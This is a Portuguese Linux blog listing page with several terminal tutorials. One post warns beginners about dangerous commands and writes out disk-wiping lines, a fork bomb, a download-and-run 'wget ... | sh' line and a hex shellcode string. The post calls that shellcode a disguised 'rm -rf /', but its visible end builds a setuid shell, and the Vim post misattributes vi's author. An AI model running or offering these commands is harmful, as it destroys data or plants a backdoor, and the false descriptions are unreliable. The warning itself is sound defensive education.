Diolinux - O modo Linux e Open Source de ver o Mundo

Responsive Ad Slot

Mostrando postagens com marcador terminal. Mostrar todas as postagens
Mostrando postagens com marcador terminal. Mostrar todas as postagens

Comando DU no Linux - Como ver o tamanho de arquivos e diretórios pelo terminal

Nenhum comentário

quinta-feira, 24 de janeiro de 2019

Eu pretendo começar uma série de artigos aqui no blog falando sobre comandos úteis no terminal, além de algumas dicas de configurações mais avançadas. Esse tipo de artigo acaba servindo como documentação extra oficial e referência para futuros artigos e vídeos que nós produziremos. Hoje vamos falar sobre o 'du'.

Comando DU Disk Usage no Linux






Imagine que você esteja mexendo no seu servidor e querendo saber quanto de espaço algum arquivo ou pasta está ocupando, o que você faria? Em modo gráfico você pode utilizar alguns softwares como o "Analisador de uso de Disco" que é excelente, olha só:


Mas caso você não tenha modo gráfico ou simplesmente queira fazer a verificação via terminal, existe um utilitário muito legal e poderoso chamado "du", uma abreviação de "disk usage", ou "uso de disco", em Português.

Como utilizar o comando DU


O comando "du" geralmente está presente em todas as distros Linux por padrão, pois faz parte do Core Utils, para saber mais sobre a sua utilização você pode usar o comando:
du --help
du-help-linux
Existem mais opções do que as mostradas nessa imagem...
Através do comando de ajuda (--help) você consegue ver todos os parâmetros comuns que o "du" te oferece, mas vamos para alguns casos práticos e algumas dicas para você utilizar ele.

A funcionalidade do "du" é simples, você usa ele com o diretório ou arquivo que quer analisar, por exemplo:
du /home
Comando du exibindo blocos


Você verá que a saída desse comando será gigantesca, listando todos os diretório acessíveis com a permissão do seu usuário (seja o normal ou o root), o problema é que o comando "du" sem parâmetros mostra os valores de espaço em blocos de disco (f*ck yeah!), o que é um pouco complicado de entender, por isso existe um parâmetro "-h", que está ali para "humanos", ou seja, para você entender os espaços, medindo os valores em GB, MB, KB, etc. Por exemplo:
du -h /home 
comando DU mostrando unidades legíveis

Como você pode ver na imagem acima, podemos ver que os os diretórios agora tem valores mais simples de entender.

Ainda assim, esse comando mostra todos os diretórios de forma individual, o que dá uma saída muito grande realmente, se você quiser exibir apenas o tamanho total, use também o parâmetro "-s" de "summarize". Ele pode ser escrito de diversas formas, veja:
du -h -s /home
du -hs /home
du -sh /home 
Todos eles lhe entregarão o mesmo resultado, mostrando os diretórios onde a leitura não foi possível por questões de permissão de usuário:

Comando Du mostrando apenas o resultado
Como é possível ver, acaba sendo uma saída muito menor
Particularmente eu gosto de escrever "du -hs diretório_ou_arquivo", porque acabei associando com "head shot" do Counter Strike e acabei nunca mais esquecendo! 😁

Como eu já tinha comentado, você também pode usar o "du" para saber o tamanho de um arquivo, a forma de fazer a medição é muito simples, basta indicar o diretório com o nome do arquivo, ou então apontar o o arquivo, caso você já esteja no diretório. Por exemplo:

Eu tenho uma ISO do Fedora na minha pasta "Downloads" dentro da minha pasta "Home", primeiro navego até ela usando o "cd":
cd ~/Downloads/
Posso dar um "ls" para conferir o nome do arquivo e então rodar um comando "du" mais ou menos assim:
du -hs Fedora-Workstation-Live-x86_64-29-1.2.iso
Medindo arquivos com o DU

Como você pode ver, o terminal me retorna que a ISO do Fedora de cerca de "1.8 GB" de tamanho. Simples, não?

Algumas dicas um pouco mais avançadas para o "du"


Até então você viu a utilização básica do "du" para a medição do tamanho de diretórios e arquivos, mas e se eu quiser organizar a saída do "du" para saber quais arquivos estão ocupando mais espaço, ou para saber quais pastas estão mais cheias de arquivos e ocupando mais espaço, como fazer?

Para isso vamos usar o famoso "pipe" para jogar a saída de um comando em outro. Neste caso vamos usar a saída do "du" e jogá-la no "sort", outro comando bem bacana para ordenar as coisas:
du -hs * | sort -h
O comando acima está dizendo para o "du" usar o modo "humano" e simplificado (--hs) para todos os arquivos do diretório (*), e jogar a saída desse comando (|) para o que o "sort" ordene eles por tamanho usando valores "humanos" (-h).

Eu apliquei esse comando em uma pasta cheia que ISOs de sistema que eu tenho no computador, assim eu consigo saber qual delas é que ocupa mais espaço, a saída foi a seguinte:

usando o du para medir o tamanho das ISOs

Se eu quiser saber qual destas ISOs foi a última que eu baixei, posso usar o "du" dessa forma:
du -h --time *
Você também pode usar o "du" para analisar certos arquivos que contenham ou não contenham algum texto, por exemplo, quero saber o tamanho de todo os "buntus" que eu tenho nessa coleção de ISOs:
du -hs * | grep buntu -h
Contando ISOS do Ubuntu

Funciona exatamente como o exemplo anterior, com a diferença de que o "grep" está pegando resultados que tenham o texto "buntu" e me exibindo.

Como você deve imaginar, existem muitas combinações possíveis, então é bom estudar as opções que o "--help" do "du" te mostra, mas por fim, vou deixar uma última dica, se você quiser saber a soma total do diretório, além de fazer a contagem individual, use também o parâmetro "-c", essa forma:
du -hsc diretório_desejado

DU lendo o tamanho total

Repare que no final do comando você consegue ver o total do diretório.

Toda vez que se fala no "du", muita gente fica pensando em como usá-lo para verificar, não quanto espaço está sendo usado, mas quando espaço resta. Essa lição pode ficar para outro artigo, mas para não deixar você sem a resposta, a forma mais simples de verificar isso não é usando o "du" e sim outro utilitário chamado "df", abreviação para "disk filesystem", você pode usá-lo assim para ver como está a utilização das suas partições:
df -h
O resultado será parecido com isso:

Ver utilização de disco via linha de comando

Espero que o artigo tenha te ajudando a entender um pouco mais das ferramentas que estão disponíveis para você utilizar no seu servidor ou mesmo na sua distro de desktop, caso você goste de usar comandos no terminal. Este é só o primeiro artigo de uma série que eu pretendo fazer para mostrar algumas coisas um pouco mais avançadas do mundo Linux, incluindo configurações de arquivos mais sensíveis do sistema, você não perde por esperar! :)

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


7 comandos perigosos do Linux que você NUNCA deve executar

Nenhum comentário

quinta-feira, 17 de janeiro de 2019

Como o número de usuários leigos de Linux vem aumentando com o tempo, acho pertinente alertar as pessoas sobre alguns comandos que podem ser perigosos, tanto para o sistema, quanto para os dados contidos no computador.

7 Comandos perigosos do mundo Linux




O terminal é uma ferramenta muito poderosa, por conta disso é bom você dominá-lo, ou pelo menos entendê-lo, para evitar problemas no seu sistema baseado em Linux.
Veja também: O curso no Diolinux EAD para aprender a dominar o terminal
Os grandes problemas que você pode enfrentar usando o terminal de forma indiscriminada normalmente estão atrelados a comandos de sobrescrita de dados, então vamos mostrar alguns aqui que você deve prestar especial atenção quando vir alguém sugerindo que você faça no seu computador com Linux.

Atenção: Você NÃO deve executar nenhum destes comandos no seu computador, isso pode causar danos irreversíveis que nós não nos responsabilizamos, o artigo tem a intenção de ser instrutivo, justamente para evitar este tipo de situação.

1 - rm -rf


É um comando clássico do do Linux que teoricamente não faz nada de mais, ele serve apenas para apagar arquivos, e é aí que mora o perigo. Dependendo da forma que ele for aplicativo o resultado pode ser muito desagradável, por isso é importante você entender o que os comandos fazem, vamos explicar um pouco melhor neste exemplo:
- rm: comando usado no Linux para deletar arquivos.
- rm -r: o comando deleta pastas recursivamente, mesmo que a pastas esteja vazia.
- rm -f: cUsando este parâmetro, o propriedade de "apenas leitura" que um arquivo tenha é removida sem perguntar, permitindo que o arquivo seja apagado.
- rm -rf / : Usando a combinação dos dois parâmetros com a "/" você diz para o sistema apagar tudo que está no diretório raiz do sistema.
- rm -rf * : Força o apagamento de tudo que está no diretório atual ou no de trabalho, dependendo de onde você estiver.
- rm -rf . : Acrescentando um ponto, você pode apagar também as pastas ocultas, além das normais.

Tome muito cuidado ao executar um comando destes, especialmente se for feito como root ou usando o sudo.


Tão perigoso que pode ser este comando, que atualmente o Linux se protege contra ele, se você rodá-lo, mesmo com sudo ou como root, ele não vai funcionar, para isso é preciso usar os parâmetros descritos na imagem acima. Da mesma forma que o Linux protege você de destruir o sistema sem querer, ele também permite que você o destrua mediante a ter certeza de que é realmente isso que você quer, curioso, não é?

2 - :(){:|:&};:


Este comando funciona como uma "Fork Bomb", ele opera definindo uma função chamada ':', que se chama duas vezes, uma vez em primeiro plano e outra em segundo plano, o processo se repete indefinidamente até que o sistema trave.

3 - qualquer comando para > /dev/sda


A forma com que o Linux lê as partições e discos é diferente do Windows, por conta disso, normalmente novatos não conseguem entender em primeira instância como eles são distribuídos. Normalmente a localização dos dispositivos de armazenamento do sistema ficam dentro de /dev, sendo que podem haver vários por ali e normalmente o sda está presente.

O problema do comando acima é que ele redireciona a saída de qualquer comando que seja colocado para o seu bloco de armazenamento, desta foma sobrescrevendo alguns dados e corrompendo outros.

4 - mv pasta/diretório /dev/null


Eu costumava brincar sobre o /dev/null me referindo a ele como o "buraco negro" do Linux. Tudo que é enviado para ele é perdido "para sempre". Então tome cuidado ao mover qualquer coisa para esta localização. O comando mv serve para mover arquivos ou diretórios para o destino indicado, se este destino for o /dev/null você estará mandando seus arquivos pra Nárnia.

5 - wget http://malicious_source -O- | sh


Este comando vai aparecer para você instalar alguns programas. O wget é o programa responsável por fazer o download da URL que vem logo após, ele é bem útil para baixar arquivos em geral, o problema está no arquivo que ele baixa e na sequência do comando  que o executa no caso dele ser um shell script. Só baixe arquivos desta forma de fontes que você considera confiáveis e se estiver na dúvida, baixe apenas o arquivo de shell, eliminando qualquer parâmetro que apareça após o link, assim você pode abrir ele em um editor de texto de sua preferência e verificar o que há dentro dele.

6 - dd if=/dev/random of=/dev/sda


Assim como o ítem 3 da nossa lista, o grande problema aqui é o destino ser o /dev/sda. Tome cuidado. O comando dd pode ser muito útil para copiar arquivos e até mesmo partições inteiras, como no exemplo 6, mas se a saída for um outro disco, tome cuidado, pois o resultado irá sobrepor os dados lá existentes.

7 - Comandos disfarçados


Como eu comentei à princípio, o terminal é uma ferramenta poderosa, se você não dominá-lo, é bom ter cuidado com que você for rodar nele, se o você não fala a língua do terminal, saiba que ele fala muitas outras. O comando abaixo nada mais é do que o comando indicado no primeiro item da nossa lista, só que em forma hexadecimal.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Ele tem o mesmo propósito do famigerado "rm -rf /", por isso, não rode coisas no terminal que você não sabe para quem servem, existem muito conteúdo grátis a internet para você estudar sobre e até mesmo alguns bons cursos pagos, como é o caso do "Dominando o Terminal" aqui do blog mesmo, mas em linhas gerais, se você evitar colocar comandos que você não sabe para que servem direito, os problemas já serão minimizados. 

Agora espalhe este conhecimento para ajudar mais pessoas a ficarem precavidas sobre estes pequenos percalços da vida computacional.

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




Conheça o Bat, um clone do cat com Asas

Nenhum comentário

sexta-feira, 4 de janeiro de 2019

Não estamos falando de morcegos e gatos literalmente, mas sim do famoso comando "cat" que permite que você visualize o conteúdo dos arquivos no Linux. Uma das curiosidades do mundo open source e que até coisas básicas, relativamente simples e consolidadas como o comando "cat" podem possuir alternativas. Conheça hoje o "bat".

Comando bat em substituição ao cat



O Bat é um clone do comando cat que possui Syntax Highlighting (colorização da saída de acordo com o tipo do documento), numeração de linhas e ainda possui integração com o Git, mostrando partes que foram alteradas do arquivo de acordo com o último commit.

Além disso, ele ainda possui temas para realce de sintaxe para linguagens de programação e de marcação, concatenação e paginação de arquivos e entre outras facilidades.

Como instalar?


Para instalar o "bat" no Debian, Ubuntu, Mint e derivados rode os comandos abaixo em ordem:

Para sistemas 64 bits:
wget https://github.com/sharkdp/bat/releases/download/v0.9.0/bat_0.9.0_amd64.deb
sudo dpkg -i bat_0.9.0_amd64.deb
Para sistemas 32 bits:
wget https://github.com/sharkdp/bat/releases/download/v0.9.0/bat_0.9.0_i386.deb
sudo dpkg -i bat_0.9.0_i386.deb
Caso você use Arch, Manjaro, Antergos e derivados:
sudo pacman -S bat
Caso você outra distro (ou qualquer uma), use:

Para sistemas 64 bits:
wget https://github.com/sharkdp/bat/releases/download/v0.9.0/bat-v0.9.0-x86_64-unknown-linux-gnu.tar.gz
tar zxvf bat-v0.9.0-x86_64-unknown-linux-gnu.tar.gz
cd bat-v0.9.0-x86_64-unknown-linux-gnu/
sudo mv bat /usr/local/bin/
sudo mv bat.1 $(man -w echo | sed 's/echo.*//')
Para sistemas 32 bits:
wget https://github.com/sharkdp/bat/releases/download/v0.9.0/bat-v0.9.0-i686-unknown-linux-gnu.tar.gz
tar zxvf bat-v0.9.0-i686-unknown-linux-gnu.tar.gz
cd bat-v0.9.0-i686-unknown-linux-gnu/
sudo mv bat /usr/local/bin/
sudo mv bat.1 $(man -w echo | sed 's/echo.*//')

E como se usa? 


Brincar com o "morcego" é tão fácil quanto com o "gato" e acho que só no mundo Linux essa frase faz algum sentido, não é, não? 🤣🤣🤣

Para começar usar o Bat, você pode simplesmente rodar o comando bat [seu_arquivo] ou se quiser iniciar aos poucos, rode o comando bat --help para ter uma ajuda, se preferir, leia diretamente pelo manual com o comando man bat.

Alguns exemplos para você entender


Vamos ler um arquivo de Shell Script para ver a saída:

Bat Instagram

Existem muitas outras opções de configuração, leitura e personalização de cores que você pode fazer no Bat, basta usar o help ou o manual para ter uma noção melhor, outro lugar legal para você visitar é o repositório do software no GitHub, lá você também encontra muitas informações.

Caso você não tenha um bom domínio com comandos do terminal ou deseja ampliar ainda mais, recomendo você adquirir os treinamentos oferecidos aqui no blog Diolinux, juntamente com o Terminal Root e aproveitar os pacotes exclusivos. Saiba mais clicando aqui.

Abraços!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


7 atalhos simples para facilitar a sua experiência no GNOME do Ubuntu

Nenhum comentário

segunda-feira, 17 de setembro de 2018

Atalhos sempre são bem vindos, eles nos ajudam a ser mais produtivos com o computador no dia a dia,no artigo de hoje vamos mostrar alguns atalhos para quem está usando o GNOME no Ubuntu  e claro, não vamos mencionar os atalhos universais como Ctrl+C (Copiar), Ctrl+V (Colar) e Ctrl+S (Salvar). Vamos lá:

7 atalhos simples para facilitar a sua experiência no GNOME do Ubuntu






1 - Abrir o Dash 

Para abrirmos o Dash do GNOME e procurar algum aplicativo instalado, ver as áreas de trabalho disponíveis e ainda procurar por aplicativos não instalados (e que estejam nos repositórios ou na GNOME Software) basta pressionar a tecla Super (ou a tecla com o símbolo do Windows)

Se você quiser abrir o Dashboard do GNOME diretamente na grade de aplicativos, basta pressionar a combinação tecla ”Super+A”..

2 -Abrir o terminal

Quando precisamos executar algum comando, como atualizar o sistema, instalar um aplicativo ou qualquer outra ação que precise do terminal, podemos facilitar essa tarefa utilizando o seguinte atalho Ctrl+Alt+T e “voilà” , terminal aberto.

3 - Bloquear a tela 

Se você precisar sair por alguns momentos da frente do seu computador e não quer que ninguém fique bisbilhotando, , você pode bloquear a sua tela com usuário e senha, basta apertar Super+L ou Ctrl+Alt+L

4 - Minimizar todas as janelas abertas

Se você estiver querendo minimizar de uma vez todas as janelas abertas dos programas, basta apertar Super+D ou Ctrl+Alt+D e para maximizar todas novamente basta pressionar novamente.

5 - Alternar entre os aplicativos abertos

Se você tem muitos apps abertos e se perde com tantas janelas, esse atalho vai lhe ajudar.r. Pressione a combinação Super+Tab ou Alt+Tab e assim você vai ver todos os apps abertos e circular entre eles, podendo selecionar a aplicação desejada.

6- Fechar todas janelas de um determinado aplicativo

Se você precisar fechar todas as janelas de um determinado aplicativo, como o Firefox por exemplo, basta selecionar a janela da aplicação com o mouse e pressionar: Ctrl+Q e pode usar tb o Ctrl+W

7 -Fazer logoff/logout (Encerrar a Sessão)

Se você precisar fazer logoff/logout do sistema, existe um atalho que é bem conhecido, o Ctrl+Alt+Del.

Feito isso vai aparecer uma janela pedindo a sua confirmação para prosseguir.

Esses são alguns dos atalhos que podem facilitar o seu dia a dia.

Conte aí nos comentários se você usa algum atalho diferente e em qual ambiente gráfico.

Um forte abraço e até a próxima.
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Como extrair informações de um vídeo do YouTube usando Shell Script

Nenhum comentário

sábado, 8 de setembro de 2018

O Shell Script pode ser utilizado em lugares muito diferentes e pode servir para automatizar qualquer tarefa que você poderia fazer passo a passo usando a sua distro Linux, hoje vamos aprender a extrair alguns dados do seu canal favorito do YouTube.

Shell Script no YouTube













Para aqueles que são Produtores de Conteúdo com Linux e vivem querendo saber a repercussão do vídeo que acabou de lançar no Youtube , mas está cansado de ficar abrindo toda hora o vídeo pelo navegador, esperando carregar para obter os dados do vídeo como:
  • Inscritos;
  • Gosteis/Likes;
  • Não gosteis/dislikes;
  • Comentários.
Sem dizer também aqueles que acompanham um vídeo que ele gostou e/ou comentou e deseja acompanhar se há novos comentários e etc. Vamos criar um Shell Script que irá nos passar esses dados com um simples comando no terminal linux! Esse exercício faz parte da série Não é magia, é Shell Script! .

Antes de mais nada precisamos criar um cabeçalho, além da Shebang (#!), o cabeçalho precisa de dados do autor, link ou e-mail, licença e a versão do software, logo ficaria assim:

#!/bin/bash
# author:  Marcos Oliveira <diolinux.com.br>
# license: MIT
# version: 1.0

Após isso precisamos criar uma função para pegar os dados do youtube, criamos um arquivo temporário em /tmp com o comando mktemp baixamos a página do youtube relativa a qualquer vídeo e jogamos a saída do wget no nosso arquivo temporário que armazenamos numa variável, leia as linhas que começam com # (comentários):


# Rodamos o comando mktempo numa subshell, logo seu conteúdo 
será armazenado em page_video_youtube 
page_video_youtube=$(mktemp)

# Com a linha abaixo o conteúdo da paǵina HTML será guardado no
arquivo referenciado pela variável
wget "https://www.youtube.com/watch?v=hj-aDdRasGY" -O
$page_video_youtube


Próximo passo agora é filtrar o conteúdo dos dados que baixamos, após abrirmos o arquivo no editor de texto, verificamos que a linha que mostra o ID do canal, possui uma string única na página que pode nos ajudar para pegar dados do canal como: Título e inscritos.

Como o Youtube utiliza um padrão para endereços canais, então podemos filtrar os dados utilizando o Sed e baixando a página principal do canal que há as informações mais precisas e já armezarmos em variáveis o conteúdo que desejamos, para não poluir nosso ambiente, criaremos novamente arquivos temporários e jogaremos os dados nas variáveis referenciadas.

Leia os comentários no código


# Pega o id do canal e armazena na variável, rodando numa 
subshell id_do_canal=$(cat "$page_video_youtube" | grep 
'channelId' | sed 's/.*\=\"//' | sed 's/\".*//')

# Criamos outro arquivo temporário na pasta /tmp que será nosso 
canal page_canal=$(mktemp)

# Sabemos que o Youtube tem esse padrão, então passamos o ID que
 pegamos e adicionamos ao padrão de url do Youtube
# Fizemos o wget rodar "silenciosamente" jogando a saída para o 
vazio, podemos fazer no anterior também
wget "https://www.youtube.com/channel/$id_do_canal" -O 
"$page_canal" 2>/dev/null


Pronto, já possuímos todos os arquivos que precisamos, logo agora só resta filtrar os conteúdos e armazená-los numa variável para exibirmos numa próxima função que levaremos a ela via array, leia os comentários para entender as linhas, verifique que agora estamos passando a url via parâmetro pra função, pois iremos enviá-la pelo prompt:

function get_dados_youtube() {

# Filtramos o número de inscritos, título do víde, visualizações e gosteis ou não com sed e awk
num_inscritos=$(cat "$page_canal" | grep yt-subscription-button-subscriber-count-branded-horizontal | sed 's/<[^>]*>/ /g' | awk '{print $NF}')
titulo_video=$(cat $page_video_youtube | sed '/title/{p; q;}' | grep title | sed 's/<[^>]*>//g' | uniq | sed 's/...YouTube.*//')
views_video=$(cat $page_video_youtube | grep watch-view-count | sed 's/<[^>]*>//g')
likes=$(cat $page_video_youtube | grep like-button-renderer-like-button-unclicked | sed 's/<[^>]*>//g ;s/ //g')
dislikes=$(cat $page_video_youtube | grep like-button-renderer-dislike-button-unclicked | sed 's/<[^>]*>//g ;s/ //g')

echo "Nome do canal: $titulo_do_canal"
echo "Número de inscritos: $num_inscritos"
echo "Título do vídeo: $titulo_video"
echo "Visualizações: $views_video"
echo "Gosteis: $likes"
echo "Não gosteis: $dislikes"
}

Agora é só criar uma condição que obriga o usuário a informar o vídeo e pronto, veja o script pronto abaixo, copie o código, cole num arquivo, dê permissão de execução e rode:


Shell Script YouTube

No próximo artigo da série vamos adicionar nº de comentários, cores e uma condição para quando não houver URL, nosso script pegar os dados do vídeo mais recente! E depois para finalizarmos essa série, teremos uma surpresinha 😎 !

Se você ainda não tem muitos conhecimentos em Shell Script e está procurando uma forma eficaz de aprender do zero? Ou quem sabe você já possui conhecimentos em Shell mas quer evoluir e aprender a criar manuais, processos, games, animações, instaladores e muito mais?

Então não deixe passar a oportunidade de conhecer o "Curso Extremamente Avançado de Shell Script" que oferecemos junto com a galera do Terminal Root, são 3 cursos pelo preço de um, conheça aqui.

Até a próxima e bons estudos! linha de espaço Fim do texto
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.

Como customizar o "history" do Shell no Linux

Nenhum comentário

segunda-feira, 27 de agosto de 2018

Vamos dar continuidade na nossa série sobre Shell Script chamada "Não é magia, é shell script!" com uma dica muito legal para quem gosta de usar o comando "history".

comando History





Por padrão o comando "history" exibe somente o número da ordem do comando e o comando utilizado, exemplo:

history

  478  bundle exec jekyll serve
  479  tar Jxvf icons-freebsd.tar.xz
  480  ssh diolinux@192.168.1.207
  481  emerge -s thumbnailer
  482  etc-update --automode -5

Para executar um comando do history, bastar usar um 'sinal de exclamação' ! e o número do comando, exemplo: !480, o shell irá executar o comando de número correspondente.

Ás vezes você executa um comando e esquece a sintaxe para fazê-lo rodar, logo, você terá de procurar no history. Para facilitar essa "procura", você pode customizar seu history adicionando, por exemplo, data e hora na execução dos comandos.

Existe uma variável de ambiente que é a HISTTIMEFORMAT , se você adicionar um formato específico pra ela, nesse caso para data e hora, seu history gravará o histórico dos comandos com data e hora.

Por exemplo, copie e cole esse conteúdo no seu terminal e depois rode o comando history, verifique que a saída dos comandos agora possuem data e hora, no entanto, elas estarão todas iguais, pelo fato de você não tê-la possuído anteriormente e está usando somente no tty que você está, tanto é que se você fechar e abrir de novo o terminal as configurações serão perdidas.

Para que esse formato grave a data e hora da execução dos comandos a partir de então, e sem se perder ao fechar o terminal, adicione ela ao seu .bashrc:

echo 'export HISTTIMEFORMAT="%d/%m/%y %T "' >> ~/.bashrc

A partir de então seu histórico de comandos será gravado a data e hora da execução! Saiba mais rodando os comandos:

help history
man 3 strftime

Se você ainda não tem muitos conhecimentos em Shell Script e está procurando uma forma eficaz de aprender do zero? Ou quem sabe você já possui conhecimentos em Shell mas quer evoluir e aprender a criar manuais, processos, games, animações, instaladores e muito mais?

Então não deixe passar a oportunidade de conhecer o "Curso Extremamente Avançado de Shell Script" que oferecemos junto com a galera do Terminal Root, são 3 cursos pelo preço de um, conheça aqui.

Até a próxima e bons estudos!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Não é magia, é Shell Script! Truques da linha de comando Linux

Nenhum comentário

segunda-feira, 20 de agosto de 2018

Dominar o Shell Script é, em outras palavras, automatizar o Linux da forma mais pura. Hoje vamos começar uma série que vai te ajudar a fazer as pazes com o terminal e ainda lhe dar algumas dicas úteis.

Terminal Linux - Shell Script






O Shell Script foi criado por Ken Thompson (Thompson Shell, mais tarde foi substituído pelo Bourne Shell desenvolvido por Stephen BourneBourne Shell), o criador do Unix e Linguagem C, juntamente com Dennis Ritchie. O objetivo principal foi: criar uma forma rápida, fácil e que fosse possível automatizar a comunicação com o Kernel. A principal característica do Shell Script é a mesma que lhe difere de diversas linguagens de programação, que é poder de jogar a saída de um comando para outro comando, o pipe, que atualmente pode ser "invocado" pelo caracter: | .

O Shell Script está presente em todos os sistemas Unix e Unix-like (Linux, FreeBSD, OpenBSD, HP-UX, Solaris, AIX, NetBSD, Irix, etc.), sem dizer que o Microsoft Windows, na sua última versão, possui Shell Script, além do macOS que é um sistema que possui o kernel FreeBSD customizado. Existem diversos tipos de Shell, essa variedade passou a existir por conta das licenças de software. Nas distribuições Linux, o Shell padrão é o Bash (Bourne Again Shell, tratando-se de uma melhoria do Bourne Shell e com uma licença mais permissiva), que é o que utilizaremos aqui.

Customizando a aparência do seu prompt de comando (Variável PS1)


Da mesma forma que existem diversos tipos de Shell, existem também diversos emuladores de terminal para o Shell e diversas formas de apresentar suas características. A primeira coisa que você vê quando abre o terminal é o prompt de comando, para entender melhor ele, podemos dizer que é uma "barra indicadora" da sua posição no Shell. A aparência dele depende diretamente da variável PS1 , que pode ser configurada nos arquivos: ~/.bashrc, .profile ou qualquer arquivo que faça parte da árvore recursiva . Veja na imagem abaixo o exemplo do meu prompt de comando:

Terminal

Ou seja, isso é o conteúdo da minha variável $PS1 . Se você atribuir outro valor a variável PS1 utilizando o próprio Shell, você verá que o prompt será alterado. Exemplo, copie e cole o conteúdo abaixo e cole no seu terminal e depois tecle enter:

PS1=
"blog@diolinux: "

Você notará que o prompt será modificado, mas não se preocupe, se quiser que retorne ao prompt anterior, basta fechar e abrir de novo seu terminal ou rodar o comando abaixo:

source
/etc/profile

Se quiser modificar permanentemente a configuração do seu prompt basta atribuir o valor que deseja no seu .bashrc . Você pode adicionar: sintaxes específicas, cores, caracteres,... Por exemplo, para que seu prompt apresente: o nome de usuário, o nome de seu computador e o diretório em que você se encontra, use essa configuração para seu prompt:
  • \u  - indica o nome de seu usuário;
  • \h  - indica o host;
  • \w  - indica o diretório;
  • \n  - pula para linha abaixo.
E vamos separá-lo por alguns caracteres definidos por nós como: seta,relâmpago e espaços. Ficando assim:
PS1="\u → \h \w\n ⚡"
Abra o arquivo .bashrc com um editor de texto e crie uma nova linha no final do arquivo e insira o conteúdo acima, ou rode o comando abaixo:
echo 'export PS1="\u → \h \w\n ⚡"' >> ~/.bashrc
O comando export serve para deixá-la global!
Se quiser defina cores para sua PS1, usando a seguinte sintaxe: :
  • NUMERO - Corresponde ao número da cor: (31 é vermelho, 32 verde, 33 amarelo, 34 azul, 35 rosa, 36 ciano, 37 branco e 30 preto)
  • TIPO - Define se aparecerá em negrito, sublinhado ou normal: (1 é negrito, 4 sublinhado e 0 normal)
A letra m, logo após o TIPO tem de existir e pode ficar "colada" com o restante do conteúdo. Veja esse exemplo que eu criei para esse artigo:
  • Verde negrito para o nome de usuário: [32;1m
  • Amarelo negrito para a seta: [33;4m
  • Branco normal para o diretório: [37;0m
  • Rosa negrito para o relâmpago: [35;1m
  • E no final desligamos as cores: [m
sh PS1="\e[32;1m\u \e[33;1m→ \e[36;1m\h \e[37;0m\w\n \e[35;1m⚡\e[m"


Terminal customizado

Colorindo o Manual e tornando a leitura mais amigável


O manual do sistema é uma das partes mais acessados pelo Shell, e muita gente não gosta muito de utilizá-lo, pois acha ele técnico demais dizendo que não consegue entender bem. Um dos motivos dessa dificuldade está relacionada ao visual do mesmo. Assim como vimos a dica anterior que incluia utilização de cores, podemos customizar o manual para que ele separe os trechos com cores que FACILITARÃO MUITO nossa leitura. Exemplo: Copie o comando abaixo e cole no final do seu .bashrc e depois abra o manual e veja a diferença:
export LESS_TERMCAP_mb=$'\e[1;32m'
export LESS_TERMCAP_md=$'\e[1;32m'
export LESS_TERMCAP_me=$'\e[0m'
export LESS_TERMCAP_se=$'\e[0m'
export LESS_TERMCAP_so=$'\e[01;33m'
export LESS_TERMCAP_ue=$'\e[0m'
export LESS_TERMCAP_us=$'\e[1;4;31m'

Depois feche e abra o terminal ou rode o comando source ~/.bashrc abra o manual e veja a diferença, ex.: man bash

Manual customizado Linux

Se você ainda não tem muitos conhecimentos em Shell Script e está procurando uma forma eficaz de aprender do zero? Ou quem sabe você já possui conhecimentos em Shell mas quer evoluir e aprender a criar manuais, processos, games, animações, instaladores e muito mais? Então não deixe passar a oportunidade de conhecer o "Curso Extremamente Avançado de Shell Script" que oferecemos junto com a galera do Terminal Root, são 3 cursos pelo preço de um, conheça aqui.

Até a próxima e bons estudos! 
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


7 dicas para você usar o VIM como um PRO

Nenhum comentário

sexta-feira, 10 de agosto de 2018

A primeira vez que eu usei o vi, eu achei a coisa mais ridícula do mundo 😱 , pensei comigo, como um editor tão contra-intuitivo faz tanto sucesso ? Mas tive que aprendê-lo, pois diversas vezes os testes de software eram no terminal "seco", sem nada, e alterações, só eram possíveis via o vi, pois em ambiente de testes não se incrementa nada que venha alterar o comportamento de um software no seu ambiente padrão.

Percebi que essa era a realidade de várias pessoas, cada uma em uma situação diferente, mas todas com a mesma missão: usar o vi. Com o tempo busquei aprendê-lo, principalmente o Vim que é sua versão melhorada, e com passar do tempo, até hoje, me pego dando um :wq para sair e salvar as abas do Firefox!😕

Como usar o VIM







Vim (uma contração de Vi IMproved, em português "Vi Melhorado") é um clone do programa editor de textos vi para Unix de Bill Joy. Já o vi, foi escrito por Bram Moolenaar. O Vim é destinado para uso a partir tanto de uma interface de linha de comando como uma aplicação isolada em uma interface gráfica de usuário.

É um software livre e de código aberto e é lançado sob uma licença que inclui algumas cláusulas de caridade, encorajando os usuários que se juntarem ao software a considerar a doação para crianças de Uganda.
Dentre as muitas características do Vim, podemos mencionar alguns destaques.m
  • Suporte a expressões regulares em buscas, com várias extensões à sintaxe padrão de expressões regulares;
  • Destaque de sintaxe (com suporte a mais de 500 linguagens);
  • Corretor ortográfico ( versão 7.0+ );
  • Vários temas de cores (colorschemes);
  • E centenas de características bem peculiares.

Entre facilidades e características, vamos ver 7 dicas para você usar o VIM como um PRO.

1 - Abertura de múltiplos arquivos


